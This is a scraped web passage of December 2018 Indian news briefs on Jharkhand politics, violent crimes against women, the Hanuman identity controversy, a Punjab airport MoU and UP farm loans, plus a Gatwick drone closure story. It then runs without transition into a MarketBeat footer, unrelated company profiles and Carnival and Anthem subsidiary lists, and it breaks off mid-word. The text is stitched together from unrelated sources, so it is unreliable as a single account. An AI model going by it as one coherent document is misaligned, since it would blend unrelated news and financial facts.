mahagathbandhan soon. We will announce leader of mahagathbandhan soon. We do not see much problem as all the opposition parties are determined to oust BJP said Ajoy Kumar adding on a lighter vein, It will happen much before the meeting between chief minister Raghubar Das and cabinet minister Saryu Roy. Kumar claimed that the law and order has hit an all time low with broad daylight incidents of crime becoming a regular feature. He added that the situation at Jharkhand has become a matter of great concern. He also said that the criminals have regained confidence after law and order machinery has gone for a toss. On the other hand, the state's failed intelligence and police administration are offering challenges after the criminals are executing one after the other. There is an atmosphere of chaos across the country. A 32-year-old married woman, who was raped by two youths at Siadimala village under Jeypore block in Koraput district on December 5, died while undergoing treatment at the Saheed Laxman Nayak (SLN) Medical College Hospital in Koraput on Thursday. The womans death triggered tension at the hospital after irate villagers rushed there and alleged medical negligence. Sources said the husband of the woman is mentally ill while her mother-in-law is visually-impaired. Taking advantage of her situation, the two youths of the same village had raped her in her house. She was first rushed to the District Headquarters Hospital here in a critical condition and later shifted to the SLN Medical College Hospital. Later, her husband and mother-in-law had lodged a complaint at the Jeypore Sadar police station. The police registered a case after recording the statement of the victim and arrested the accused duo identified as Kamal Lochan Dandasena (25) and Ramesh Dandasena (25). Further investigation into the incident is on. A 15-year-old dalit girl who was allegedly set on fire by two-bike borne assailants in Agra on Tuesday afternoon, succumbed to her injuries at national Capitals Safdarjang hospital on early hours of Thursday. The incident occurred on Tuesday in Agra when the girl, a Class X student, was returning home from school on bicycle when she was waylaid by unidentified youths who were wearing helmets. The assailants had poured an inflammable liquid (petrol) on the girl and set her ablaze by a lighter. The girl with 75 per cent burn injuries was referred to Safdarjang by local hospital in Agra on late Tuesday. The Agra police have recovered the lighter and have detained six suspects from Kagraul, Khaulawa, Naripura, Naumeel and two from the victims village Lalao (the girls relative and neighbour) and are questioning them. Whereas one of the suspect who police thinks is a prime accused is absconding. According to a senior official at Safdarjang, the girl succumbed to her burn injuries due to infection, though her autopsy is yet to be done. We will be able tell exact reason of death once autopsy is done, said the senior official. Meanwhile, victims family member said that she took last breath at 2 am on Thursday. She was unable to breathe. Her throat was also swollen. We will take her to our native village for last rites once her post-mortem is done, said a family member. College girl commits suicide in Jajpur Jajpur : An 18-year-old student of a private college allegedly hanged herself at her hostel room at Chhatia under the Bairi police station on Wednesday evening. The deceased was identified as Sushree Sahani of village Ichhapur. Police filed an unnatural death case and sent the body to the Government hospital at Jajpur for autopsy. We are questioning the parents and other family members and friends of the deceased about the incident, said Bair police station IIC Niranjan Sabar. Repair of Purbakote-Khajurinalua road demanded Jajpur Road: The 14-km Purbakote-Khajurinalua road under the Panikoili R and B Sub-Division here is in a bad condition since a year due to lack of maintenance by the R and B department. People of Gourpur, Barundei, Ranapur, Kantore and Purbakote GPs have been facing problems while commuting through it. Though the authorities have been repeatedly approached demanding repair and widening of the road but they have turned deaf ear towards it. Locals and former ZP candidate Rama Chandra Barik have demanded immediate repairing and widening of the road. Hyderabad cops nab 2 looters Baleswar: The Hyderabad Airport police with the help of their Baleswar counterparts arrested two persons from the Basta area following raids in connection with a robbery of about Rs 5 lakh from a real estate company office at Hyderabad. The arrested were identified as Goutam Jena of Podopada village and Om Prakash Aich of Sanakhundi village. The two were engaged as security guards in the company along with four others. Utkal Alumina holds blood donation camp Bhubaneswar: The Utkal Alumina CSR department organised a mega blood donation camp in its CSR campus on Thursday. Utkal Alumina unit head and president N Nagesh inaugurated the camp in presence of Utkalina Club president N Laxmi. As many as 153 units of blood were collected. Company Admin AVP Rakesh Mishra thanked the District Headquarters Hospital Blood Bank team for their support. Among others, HR and IR AVP TM Prakash, Process VP RN Mishra, Dr Rajendra Mandal, Debakant Pradhan, GajendraNaik and CSR head Siba Sankar Mahapatra were present. Adani Foundation holds health camp Dhamra: The Adani Foundation in association with Rotary Charitable Cancer Trust and Apollo Hospital organised a mega health camp Karanpalli panchayat in Bhadrak district recently. Apollo Hospital chief executive officer Sudhir M Digikar inaugurated the camp. Many expert doctors and specialists examined more than 2,000 villagers on different ailments. Punjab Vigilance nabs ASI for taking bribe Chandigarh: Punjab State Vigilance Bureau nabbed Assistant Sub Inspector (ASI) red handed while accepting bribe of Rs 10000. A spokesperson said ASI Hardev Singh posted at police station Shimlapuri in Ludhiana district was nabbed red handed on the complaint of Bhan Singh of Gobind Nagar, Ludhiana district. Consumer Protection Week from Dec 24 Chandigarh: To spread awareness among consumers about their rights, the National Consumer Protection Week (NCPW) will be launched in Punjab on December 24. This years theme for celebration of NCPW is Timely Disposal of Consumer Cases. Elante rolls out discount Chandigarh: Elantes Asli Happiness Wala Sale with over 150 leading national and international luxury brands will give flat 50 percent off from December 21 to 25, a statement said. It said this is for the first time that so many brands are offering such a huge discount under one roof in the tricity, and that too for five days. Sushma Group launches Valencia Chandigarh: Sushma Group, a major realty player in the region, announced the launch of its new Spanish theme Project Sushma Valencia here. The project will be located on the 200 ft wide road which is the new airport ring road PR 7 in Zirakpur, Punjab. The total area of the project would be 23 acres. Prateek Mittal, Executive Director, said, Catering to the notable real estate growth in the region, with Sushma Valencia we are engaging in regions single largest and one of its kind development. Open Living being the underlying concept, wide roads, huge green areas, walkways and service lanes will define the development. Kathak recital by Saumya Shukla Chandigarh: As part of the commemoration of fifty years, the Government Museum and Art Gallery will celebrate its Indian miniature painting collection through a unique event where Saumya Shukla, an exponent of Kathak will be presenting through her narrative dance, the close connection between the miniature painting and Kathak. Invocation of Ganesha, love play of Radha-Krishna, celebrating the monsoon, dance at the court, will be few themes she will dwell upon to bring alive the miniature art tradition. The recital will be held at the museum auditorium, Sector 10 on December 22 at 5 pm. HDFC Bank launches custom-fit car loans Chandigarh: HDFC Bank announced the launch of custom-fit car loans #AapkeHisaabSe in Chandigarh. As part of this offering, customers will now be able to buy cars at lower EMI (up to 24 per cent under Step-up EMI in first three years and upto 30 per cent under Balloon repayment program), a statement said. Chief Minister Raghubar Das today said that Khadi was providing self employment opportunities to the people of the country, especially youth in the recent times. While inaugurating the annual Khadi and Saras Mela at Morhabadi ground on Thursday the CM said that Khadi has got new identity in the present regime and will open lots of avenues for the people of the State. Pointing out the objective of the fair Das said, Prime Minister, Narendra Modi is making India as Mahatma Gandhi dreamed of. The PM is increasing income of villagers and farmers. He has given international identity to Khadi. With a view to produce all the required things on our own as the PMs Make in India programme suggests the government with the help of Jharkhand Khadi Village Industry Development board has organized the 15 day long fair. To provide self employment to the youth of the Sate he stressed on Sweet revolution is also adding more farmers of the State. Das added, As the State is importing a large quantity of milk and a large number of eggs from other states. We can produce it on our own by making groups and self help groups. The government is providing all required helps in this regard. With the help of small industries the migration can be prevented. He further added, The fair will give boost to small and cottage industries. As in the villages such kinds of industries can thrive and the government will provide all possible facilities to the artisan of the State. The government has formed Khadi Village Industry Development with a view to develop small and cottage industries as it has also formed Maati Kala Board. Giving example of Chinas upgraded technologies, the CM said, China use upgraded technology in its all the small items. China researched Indian goods and making it in China at much cheaper price on the basis of its upgraded technology. We have to also upgrade our technology in making items like Diyas. Stressing on the role of women in society building Das said, If country has to go forward then women have to bring forward. We have to make them self dependent. Das said, For the development of villages supply of electricity in the villages is very necessary. The government has provided electricity in 4 lakh 29 thousand villages and it has planned to add all villages of the State. Addressing the gathering on the occasion the CM said, We have to stress on use of organic fertilizer as it is need of the present as in all over the world organic fertilizer used products is in high demand. He further added, As we know that Jharkhand is one of the leading states in field of vegetable growing. With the help of organic fertilizer we should produce vegetables which can help in increase in production and simultaneously we can sale it in even larger platform. The government said earlier and it is repeating at present also that it will provide marketing platform to the farmers of the State. Other dignitaries present on the occasion were distinguished guest Union Minister for State Small and Cottage Industry, Giriraj Singh, Urban and Housing Development Minister, CP Singh. Various kinds of stall has been erected at the venue including Khadi organisations, PMEGP, DCH Cardholder, Rural Development Department, NABARD, Cottage and Small scale industry Board, Soil art Board, Jharcraft, Election Commission, Banks, Mudra Yojna unit, Stand Up Yojna, Food Stalls, Unique Identification Authority of India etc. The 16 days long fair will continue till January, 6, 2019. Bharatiya Janata Partys member in Legislative Council, Bukkal Nawab, on Thursday sparked a new controversy by calling Lord Hanuman a Muslim. Chief Minister Yogi Adityanath had in a recent election rally described Lord Hanuman as a forest dweller and a Dalit. Lord Hanuman belongs to all, and as far as I think, Hanumanji was actually a Muslim, Bukkal Nawab, who had left the Samajwadi Party to join the BJP after the Yogi Adityanath government came to power, told a select group of media persons. He argued that the deitys name was very similar to the names among Muslims and many of them were named after him. Hamara manana hai Hanuman ji Musalman the. Isliye Musalmanon ke andar jo naam rakha jata hai... Rehman, Ramzan, Farman, Zishan, Qurban... jitne bhi naam rakhey jaate hain, woh karib karib unhi par rakhe jaate hain, he said. Nawab, 64, who publicly offered prayers at a Hanuman temple last year, is the latest political figure to have spoken on Lord Hanumans identity. While campaigning during the recent assembly election, Chief Minister Yogi Adityanath had reportedly said, Hanuman was a forest dweller, deprived and a Dalit. Bajrang Bali worked to connect all Indian communities together, from north to south and east to west. On December 4, former BJP MP Savitribai Phule had taken exception to the manner in which the deity was depicted. Lord Hanuman was a Dalit and a slave of manuwadis. He was a Dalit and a human. He did everything for Lord Ram, then why was he given a tail and a blackened face? she asked. A Jain priest in Bhopal has claimed Lord Hanuman was neither a Dalit nor a tribal, but a Jain. Bukkal Nawab had given up his Legislative Council seat to pave the way for a BJP minister to become a legislator within the stipulated six-month period and continue in the government. After openly supporting the construction of a Ram temple at the disputed site in Ayodhya, the prominent Shia politician last year donated a 30-kg brass bell at a famous Hanuman temple. He offered prayers there, prompting the Samajwadi Party to comment: It is nothing but a publicity stunt. He is hopping from one temple to another to hog media limelight. When the BJP returned the favour and gave him ticket in Legislative Council biennial elections, he said, My wish has been fulfilled by Lord Hanuman. During the 2017 UP assembly election campaign, Bukkal Nawab had caused a stir by saying he would be happy to see a Ram temple come up at the disputed site in Ayodhya and he would help in the cause by carrying the first brick for the temple at Ayodhya. He also promised to contribute Rs 15 crore towards the temples construction and a mukut (crown) for Lord Ram. Reacting to Bukkal Nawabs statement, Sharad Sharma of Vishwa Hindu Parishad said that the MLCs claim on deity pointed that the Muslims were forced to adopt the religion and they should now return to their original religion. He said that probably Bukkal Nawab wanted to send a message among members of his community that their ancestors were followers of Lord Hanuman so after coming under the deitys umbrella, they could achieve happiness and success. Uttar Pradesh Congress general secretary Vinod Mishra said that such absurd statement by BJP leaders was not knew. First Deputy Chief Minister Dinesh Sharma said that Goddess Sita was the first test tube baby, later Chief Minister Yogi Adityanath called Lord Hanuman a Dalit, and now his junior colleague, Bukkal Nawab, has described Lord Hanuman as a Muslim, he said. Over a fortnight after the Punjab Cabinet approved the setting up of a New Civil International Air Terminal at IAF Station Halwara in Ludhiana in its December 3 meeting, the Punjab Government on Thursday signed a Memorandum of Understanding (MoU) with the Airports Authority of India (AAI) for the same. The MoU was signed by the state Civil Aviation secretary Tejveer Singh on behalf of the Punjab Government and AAI executive director GD Gupta on behalf of the Airport Authority in the presence of Punjab Chief Secretary Karan Avtar Singh and AAI chairman Guruprasad Mohapatra. As per the MoU, the project would be implemented through a Joint Venture Company (JVC) formed with the majority stake of 51 percent of the Airports Authority of India (AAI) and 49 percent stake of the State Government thorough the Greater Ludhiana Development Authority (GLADA). Further, the AAI would bear all capital expenditure of development of new airport, while the Punjab Government would provide 135.54 acres of land free of cost and free of all encumbrances for the project while JVC would bear all expenditure on operation, management and maintenance including repairs. It is expected that Phase I of the project, that is the development of new international civil enclave in 135.54 acres for full-fledged operations up to Code-4C type of aircraft shall be completed within three years. The International Airport at Ludhiana would not only be a commercially viable project and facilitate better air connectivity for passengers of the State but will have a spinoff economic benefit for the industries in the State, said the Governments official spokesperson. Spokesperson said that another MoU was also signed between Punjab Government and AAI Cargo Logistics and Allied Services Company Limited (AAICLAS) a wholly-owned subsidiary of AAI for operation and maintenance of the Cargo Terminal at Amritsar Airport. As per the MoU, the AAI will take over the Centre for Perishable Cargo (CPC) facility at Amritsar Airport which has been in-operational since 2013, and operate and manage it. Spokesperson said that the MoU, exchanged by Punjab Agro managing director C Sibin and AAI Cargo Logistics and Allied Services CEO Keku Bomi Gazder, will give a boost to agri-exports of Punjab and neighbouring states as cargo flights are expected to start in the near future. To develop 100 per cent sewer line network in important pilgrimage towns-Rishikesh and Haridwar- along the Ganga river in Uttarakhand, the State Government, through the Union Government, signed a loan agreement worth 150 million Euros (about Rs 1,200 crore) with the German Development Bank (KfW) on Thursday. As per the agreement, the total cost of the project amounting to about Rs 1,200 crore will include about Rs 960 crore loan component while the remaining sum of about Rs 240 crore will be borne by the state government as state counterpart funding. Of the loan component, 90 per cent will be repaid by the Union Government while 10 per cent will be repaid by the state government. Under this six-year programme, 181.50 kilometre sewer network will be laid in Haridwar city and nearby areas while 14 sewage pumping stations will be built. Similarly, 180 kilometre long sewer network will be laid in Rishikesh city and nearby areas while two sewage pumping stations and a two MLD capacity sewage treatment plant will be established. It is pertinent to note here that with various works already underway in Haridwar and Rishikesh under the Namami Gange programme, completion of works under the loan agreement will make it possible to fully prevent raw sewage and contaminated water from entering the Ganga river in Rishikesh and Haridwar. After completion of the works, the Government of India would provide funds under Namami Gange to maintain these for the next 15 years. The States Potable Water minister Prakash Pant said on the telephone from Delhi that the loan agreement was a major achievement for the state. He also expressed gratitude to the Union Government for facilitating this agreement with the German Development Bank. Uttar Pradesh government on Thursday said that the grievances of farmers regarding loan waiver scheme were being looked into. Agriculture Minister Surya Pratap Shahi said in the Vidhan Sabha on Thursday that complaints were being received from farmers and they were being disposed of. He said that 600 complaints were received in December. Yogi Adityanath government had in March 2017 announced to waive crop loans of farmers and had made a provision of Rs 36,000 crore in the 2017-18 budget for this. The issue was raised during Zero Hour by Congress member Ajay Kumar. He reminded the minister that the BJP in its election manifesto in 2017 had promised to provide interest-free loan to farmers. He said the BJP election manifesto for 2017 assembly elections had promised to waive crop loans of up to one lakh rupees with cut out date of March 31, 2016. We are not like Punjab where the government announces to waive the loan of farmers to the tune of Rs 10,000 crore but a paltry provision of Rs 1,700 crore is made in the budget, the minister said. He said during the Congress rule in UP, the farmers were charged 18 per cent interest and in case of default they were charged compound interest. The Agriculture Minister charged that the farmers were in distress as during the Congress-led UPA government and the long spells of Samajwadi Party and Bahujan Samaj Party rule the agriculture sector was ignored. He said the indebtedness of the farmers was the result of the policies of the Congress, SP and BSP. The minister said the BJP government was committed to redressing the grievances of the farmers in a time-bound manner. Earlier, during the Question Hour, the Agriculture Minister in reply to a question said the UP government would provide 10,000 solar pumps of different capacities to farmers from December 25, the birth anniversary of former Prime Minister Atal Bihari Vajpayee. He said the pumps would be given to the farmers on first come first serve basis. Shahi said the pumps would be given under the Centrally-sponsored scheme in which the share of the Central government was 60 per cent while rest is amount was borne by the state government. The minister said the interests of the farmers was the top agenda of the state government so subsidy was also given to the beneficiaries under the scheme. He said the government would give benefit of at least Rs 15,000 to farmers on the purchase of the solar pumps. Replying to another question, the Agriculture Minister said there was no shortage of fertilisers like NPK, DAP and phosphate in the state. He said annually 21.69 lakh MT of DAP, NPK and phosphate fertiliser was distributed/sold by the Agriculture department through a network of primary agriculture cooperative societies and seed and fertiliser stores of the department. He said the government had launched an awareness campaign for the farmers to bring down the use of chemical fertilisers and motivate them to switch over to organic fertiliser. Shahi said the farmers were being advised to use fertiliser as per the report of the soil health card. In reply to a question on procurement of agriculture commodities, the minister said that besides wheat and paddy, the government was directly purchasing pulses, oilseeds and maize from farmers. He said during 2017-18 35 lakh MT of pulses was procured from farmers and a payment of Rs 200 crore was made for it. He said during the current fiscal (2018-19), for the purchase of maize, procurement centres had been opened in districts under Agra and Aligarh division. He said pulses were being purchased from farmers in 18 districts of the state. A case has been registered against two professors of IIT Roorkee whose names have come up in the sexual harassment case filed by a research scholar of the institute. Police informed that the case has been registered after the special investigation team, formed to probe the allegation, submitted its report to the SSP Haridwar. Meanwhile, two Bhim Army leaders were arrested by the police while they were heading towards the IIT on its pre-announced gherao programme on Thursday. Heavy police force was deployed outside IIT premises to maintain law and order in view of the stir. Following the complaint of the research scholar and the subsequent submission of the investigation report by the three- member SIT, the case had been registered at Roorkee police station, a senior police officer said. Police said that they had arrested the leader of the state Bhim Army in-charge Mehek Singh and its district president Pramod Mahajan near Solani Park after they headed for the institute to demonstrate. The arrests of the leaders led to unruly scenes as the other activists of the outfit vented their anger. Speaking to The Pioneer on Thursdays developments, the police station in-charge Civil Lines Roorkee Amarjeet Singh said that they were probing the matter. Two leaders of Bhim Army have been arrested. They are being questioned now. They would be presented before the city magistrate on Friday. Tension erupted as hundreds of Bhim Army activists and supporters gathered outside the IIT on Thursday. One supporter of the outfit said that the arrest of some leaders would not help things. We are determined to continue with the stir till justice is meted out to the research scholar regarding her sexual harassment allegations, he said. He further said that the police are trying to tyrannise over them. But we would not give in, he added. Meanwhile, the research scholar alleged that no action had been taken till date against the director IIT Roorkee and those in the management who are safeguarding the faculty members now facing the case. The stir being spearheaded by Bhim Army on the matter has received boost after the Peoples Party of India and Mool Niwasi Sangh have thrown their weight behind the scholar who is fighting for justice. Both the organisations have submitted a memorandum to the President through the office of the district magistrate Haridwar, demanding arrest of the accused professor under SC /ST Act. They demanded the accused be sacked and it be ensured that such caste torture does not repeat. They also warned of a full-blown agitation across the state if no action is taken against the accused. Congress members in the Uttar Pradesh assembly staged a noisy walkout over demolition of temples and buildings for the Kashi Vishwanath corridor in Varanasi and recovery of hundreds of Shivalings from the debris. The Congress members led by their leader Ajay Kumar Lalu trouped into the Well of the House when it assembled on Thursday, demanding resignation of Yogi Adityanath government for playing with the sentiments of 125 crore Sanatan Dharma followers. This government swears by the name of bhagwan (god) and in Shiv ki nagri the government is demolishing temples and throwing away Shivalings. What kind of devotion is this, Lalu asked as Speaker Hridaya Narayan Dikshit asked him to go to his seat. The Congress Legislature Party leader said that the authorities in Varanasi were throwing away the Shivalings and other idols in the name of making Kashi Vishwanath corridor. He said the Congress would not tolerate this. The Speaker tried to pacify the Congress members but they did not budge. Later, when the government refused to say anything, the Congress members staged a noisy walkout. Travel plans for thousands of passengers went awry on Thursday ahead of the Christmas holiday period after one of UK's busiest airports remained closed for the second day due to a number of drones spotted near its runway, evoking a stern warning from Prime Minister Theresa May. The runway of Gatwick Airport, Britain's second-busiest after Heathrow Airport, remains closed since Wednesday night, when two devices were seen flying over the perimeter fence. After the sighting of another drone on Thursday afternoon, the authorities were unable to reopen the runway "until it was safe to do so". Prime Minister May described the situation as "irresponsible and completely unacceptable". "These drones have been flown illegally and the law couldn't be clearer that those found endangering aircraft could face up to five years in jail," her spokesperson said. "We are in close contact with Gatwick Airport as they work with police to safely resolve the situation as quickly as possible," the spokesperson said. "Our hearts go out to all those who are desperately trying to go on holiday or arrive in the UK via Gatwick. I know the police are doing all they can to catch the operators of these drones," said House of Commons Leader Andrea Leadsom. Local Sussex Police investigating the incident at the airport in the south of England have not been inclined to shoot down the devices because of the risk from stray bullets. The force said it did not believe the drones are terror-related but a "deliberate act" of disruption, describing the devices as of "industrial specification". "The police are looking for the operator and that is the way to disable the drone," said Gatwick's Chief Operating Officer (COO) Chris Woodroofe. Around 110,000 passengers on 760 flights were due to fly out on Thursday, as the Christmas holiday period kicks in. The airport authorities warn that the disruption could last "several days". Incoming planes were diverted to other airports including London Heathrow, Luton, Birmingham, Manchester, Cardiff, Glasgow, Paris and Amsterdam. Crowds of travellers spent the morning waiting inside Gatwick's terminal for updates, while others reported being stuck on grounded planes for hours. The UK's Civil Aviation Authority said it considered this event to be an "extraordinary circumstance", and therefore airlines were not obligated to pay any financial compensation to passengers. 1 hour ago Norfolk Southern railroad names new CEO to take over in May Norfolk Southern Corp. said its CEO will retire next spring, and it will promote one of its executives to replace him. The railroad said Thursday that Jim Squires will step down as chairman and CEO on May 1 after seven years of leading Norfolk Southern. Read Article American Consumer News, LLC dba MarketBeat 2010-2021. All rights reserved. 326 E 8th St #105, Sioux Falls, SD 57103 | U.S. Based Support Team at [email protected] | (844) 978-6257 MarketBeat does not provide personalized financial advice and does not issue recommendations or offers to buy stock or sell any security. Our Accessibility Statement | Terms of Service | Do Not Sell My Information 2021 Market data provided is at least 10-minutes delayed and hosted by Barchart Solutions. Information is provided 'as-is' and solely for informational purposes, not for trading purposes or advice, and is delayed. To see all exchange delays and terms of use please see disclaimer. Fundamental company data provided by Zacks Investment Research. Gildan Activewear Inc. manufactures and sells various apparel products in the United States, Canada, and internationally. It provides various activewear products, including T-shirts, fleece tops and bottoms, and sport shirts under the Gildan, Gildan Performance, Gildan Hammer, Comfort Colors, American Apparel, Anvil by Gildan, Alstyle, Prim + Preux, and GoldToe brands. The company also offers hosiery products comprising athletic; dress; and casual, liner, therapeutic, and workwear socks, as well as sheer panty hoses, tights, and leggings under the brands of Gildan, Under Armour, GoldToe, PowerSox, GT a GoldToe Brand, Silver Toe, Signature Gold by Goldtoe, Peds, MediPeds, Kushyfoot, Therapy Plus, All Pro, Secret, Silks, Secret Silky, and American Apparel. In addition, it provides men's and boys' underwear products, and ladies panties under the Gildan and Gildan Platinum brand names; and ladies' shapewear, intimates, and accessories under the Secret and Secret Silky brands. The company sells its products to wholesale distributors, screen printers, or embellishers, as well as to retailers and consumer brand companies. The company was formerly known as Textiles Gildan Inc. and changed its name to Gildan Activewear Inc. in March 1995. Gildan Activewear Inc. was founded in 1946 and is headquartered in Montreal, Canada. Read More Tailored Brands, Inc. (NYSE:TLRD) issued its quarterly earnings results on Wednesday, March, 18th. The company reported ($0.46) EPS for the quarter, beating analysts' consensus estimates of ($0.54) by $0.08. The company had revenue of $690.90 million for the quarter, compared to analyst estimates of $708.46 million. Tailored Brands had a negative trailing twelve-month return on equity of 138.49% and a negative net margin of 14.39%. The company's quarterly revenue was down 12.1% compared to the same quarter last year. During the same period in the previous year, the company posted ($0.28) earnings per share. View Tailored Brands' earnings history. United Internet AG, through its subsidiaries, operates as an Internet service provider (ISP). It operates through Consumer Access, Business Access, Consumer Applications, and Business Applications segments. The company offers landline-based broadband and mobile internet products, including home networks, online storage, telephony, and IPTV; and telecommunication products ranging from fiber-optic direct connections to tailored ICT solutions, which include voice, data, and network solutions, as well as infrastructure services to national and international carriers and ISPs. It also provides ad-financed and fee-based application products for consumer and business customers, including domains, Websites, Web hosting, servers, cloud solutions, and e-shops; personal information management applications, such as email, to-do lists, appointments, and addresses; and group works, online storage, and office software. The company offers its access products through the yourfone, smartmobile.de, 1&1, winSIM, maxim, simplytel, DeutschlandSIM, PremiumSIM, and 1&1 versatel brands; and applications through GMX, mail.com, WEB.DE, home.pl, Arsys, Strato, 1&1 IONOS, Fasthosts, InterNetX, united-domains, and World4You brand names. In addition, it offers customers professional services in the fields of active domain management under the Sedo brand; and online advertising services under the United Internet Media brand name. The company has operations in Germany, the United States, the United Kingdom, Spain, France, Poland, Italy, Austria, the Netherlands, Switzerland, Canada, and Mexico. United Internet AG was founded in 1988 and is headquartered in Montabaur, Germany. Read More The following companies are subsidiares of Carnival Co. &: 1972 Productions Inc., 6348 Equipment LLC, A.C.N. 098 290 834 Pty. Ltd., A.J. Juneau Dock LLC, AIDA Kundencenter GmbH, Adventure Island Ltd., Air-Sea Holiday GmbH, Alaska Hotel Properties LLC, Barcelona Cruise Terminal SLU, Bay Island Cruise Port S.A., Belize Cruise Terminal Limited, CC U.S. Ventures Inc., CCL Gifts LLC, CSSC Carnival Italy Cruise Investment S.r.L, Carnival (UK) Limited, Carnival Bahamas FC Limited, Carnival Bahamas Holdings Limited, Carnival Corporation & plc Asia Pte. Ltd., Carnival Corporation Hong Kong Limited, Carnival Corporation Korea Ltd., Carnival Corporation Ports Group Japan KK, Carnival Finance LLC, Carnival Grand Bahama Investment Limited, Carnival Investments Limited, Carnival Japan Inc., Carnival License Holdings Limited, Carnival Maritime GmbH, Carnival North America LLC, Carnival Port Holdings Limited, Carnival Ports Inc., Carnival Support Services India Private Limited, Carnival Technical Services (UK) Limited, Carnival Technical Services Finland Limited, Carnival Technical Services GmbH, Carnival Technical Services Inc., Carnival Vanuatu Limited, Costa Crociere PTE Ltd., Costa Crociere S.p.A., Costa Cruceros S.A., Costa Cruise Lines Inc., Costa Cruise Lines UK Limited, Costa Cruises Shipping Services (Shanghai) Company Limited, Costa Cruises Travel Agency (Shanghai) Co. Ltd., Costa Cruzeiros Agencia Maritima e Turismo Ltda., Costa Group Digital & Strategic Services GmbH, Costa International B.V., Costa Kreuzfahrten GmbH, Cozumel Cruise Terminal S.A. de C.V., Creative Travel Lab Ltd., Cruise Ships Catering & Services International N.V., Cruise Terminal Services S.A. de C.V., Cruiseport Curacao C.V., D.R. Cruise Port Ltd., Ecospray Technologies S.r.L., F.P.M. SAS, F.P.P. SAS, Fleet Maritime Services (Bermuda) Limited, Fleet Maritime Services Holdings (Bermuda) Limited, Fleet Maritime Services International Limited, GXI LLC, Gibs Inc., Global Experience Innovators Inc., Global Fine Arts Inc., Global Shipping Service (Shanghai) Co. Ltd., Grand Cruise Shipping Unipessoal LdA, Grand Turk Cruise Center Ltd., HAL Antillen N.V., HAL Beheer B.V., HAL Cruises Limited, HAL Maritime Ltd., HAL Nederland N.V., HAL Properties Limited, HAL Services B.V., HSE Hamburg School of Entertainment GmbH, Holding Division Iberocruceros SLU, Holland America Line Inc., Holland America Line N.V., Holland America Line Paymaster of Washington LLC, Holland America Line U.S.A. Inc., Ibero Cruzeiros Ltda., Iberocruceros SLU, Information Assistance Corporation, International Cruise Services S.A. de C.V., International Leisure Travel Inc., International Maritime Recruitment Agency S.A. de C.V., Milestone N.V., Navitrans S.R.L., Ocean Bahamas Innovation Ltd., Ocean Medallion Fulfillment Ltd., Operadora Catalina S.r.L., P&O Princess American Holdings, P&O Princess Cruises International Limited, P&O Princess Cruises Pension Trustee Limited, P&O Properties (California) Inc., P&O Travel Limited, Prestige Cruises Management S.A.M., Prestige Cruises N.V., Princess Bermuda Holdings Ltd., Princess Cays Ltd., Princess Cruise Corporation Inc., Princess Cruise Lines Ltd., Princess Cruises and Tours Inc., Princess U.S. Holdings Inc., RCT Maintenance & Related Services S.A., RCT Pilots & Related Services S.A., RCT Security & Related Services S.A., Roatan Cruise Terminal S.A. de C.V., Royal Hyway Tours Inc., Santa Cruz Terminal S.L., SeaVacations Limited, SeaVacations UK Limited, Seabourn Cruise Line Limited, Shanghai Coast Cruise Consulting Co. Lda, Ship Care (Bahamas) Limited, Sitmar Cruises Inc., Spanish Cruise Services N.V., Sunshine Shipping Corporation Ltd., T&T International Inc., Tour Alaska LLC, Transnational Services Corporation, Trident Insurance Company Ltd., Westmark Hotels Inc., Westmark Hotels of Canada Ltd., Westours Motor Coaches LLC, Wind Surf Limited, and World Leading Cruise Management (Shanghai) Co. Ltd.. Anadarko Petroleum Corporation engages in the exploration, development, production, and marketing of oil and gas properties. It operates through three segments: Exploration and Production, WES Midstream, and Other Midstream. The company explores for and produces oil, natural gas, and natural gas liquids (NGLs). It is also involved in gathering, processing, treating, and transporting oil, natural-gas, and NGLs production, as well as the gathering and disposal of produced water. The company's oil and natural gas properties are located in the United States onshore and deepwater Gulf of Mexico; and Algeria, Ghana, Mozambique, Colombia, Peru, and other countries. As of December 31, 2018, it had approximately 1.5 billion barrels of oil equivalent of proved reserves. The company was founded in 1959 and is headquartered in The Woodlands, Texas. Read More The following companies are subsidiares of Anthem: 1-800 Contacts, AIM Specialty Health, AMERIGROUP Community Care of New Mexico Inc., AMERIGROUP Corporation, AMERIGROUP Maryland Inc., AMERIGROUP New Jersey Inc., AMERIGROUP Ohio Inc., AMERIGROUP Tennessee Inc., AMERIGROUP Texas Inc., AMERIGROUP Washington Inc., AMGP Georgia Managed Care Company Inc., ATH Holding Company LLC, America's 1st Choice of South Carolina Inc., America's Health Management Services Inc., American Imaging Management Inc., Americas 1st Choice, Amerigroup, Amerigroup Delaware Inc., Amerigroup District of Columbia Inc., Amerigroup Health Plan of Louisiana Inc., Amerigroup IPA of New York LLC, Amerigroup Insurance Company, Amerigroup Iowa Inc., Amerigroup Kansas Inc., Amerigroup Mississippi Inc., Amerigroup Oklahoma Inc., Amerigroup Partnership Plan LLC, Amerigroup Pennsylvania Inc., Anthem Blue Cross Life and Health Insurance Company, Anthem Financial Inc., Anthem Health Plans Inc., Anthem Health Plans of Kentucky Inc., Anthem Health Plans of Maine Inc., Anthem Health Plans of New Hampshire Inc., Anthem Health Plans of Virginia Inc., Anthem Holding Corp., Anthem Innovation Israel Ltd., Anthem Insurance Companies Inc., Anthem Kentucky Managed Care Plan Inc., Anthem Life & Disability Insurance Company, Anthem Life Insurance Company, Anthem Partnership Holding Company LLC, Anthem Services Company LLC, Anthem Southeast Inc., Anthem UM Services Inc., Anthem Workers' Compensation LLC, Applied Pathways LLC, Arcus Enterprises Inc., Aspire Health Inc., Aspire Healthcare Corp, Associated Group Inc., Beacon Health Options, Blue Cross Blue Shield Healthcare Plan of Georgia Inc., Blue Cross Blue Shield of Wisconsin, Blue Cross of California, Blue Cross of California Partnership Plan Inc., CareMarket Inc., CareMore Health Plan, CareMore Health Plan of Arizona Inc., CareMore Health Plan of Nevada, CareMore Health Plan of Texas Inc., CareMore Health System, CareMore LLC, Cerulean Companies Inc., Claim Management Services Inc., Community Care Health Plan of Louisiana Inc., Community Care Health Plan of Nevada Inc., Community Insurance Company, Compcare Health Services Insurance Corporation, Crossroads Acquisition Corp., DBG Holdings Inc., DeCare Analytics LLC, DeCare Dental Health International LLC, DeCare Dental Insurance Ireland Ltd., DeCare Dental LLC, DeCare Dental Networks LLC, DeCare Operations Ireland Limited, Delivery Network LLC, Designated Agent Company Inc., EHC Benefits Agency Inc., EasyScripts Cutler Bay LLC, EasyScripts Hialeah LLC, EasyScripts LLC, EasyScripts Westchester LLC, Empire HealthChoice Assurance Inc., Empire HealthChoice HMO Inc., Federal Government Solutions LLC, Freedom Health Inc., Global TPA LLC, Golden West Health Plan Inc., Greater Georgia Life Insurance Company, HEP AP Holdings Inc., HMO 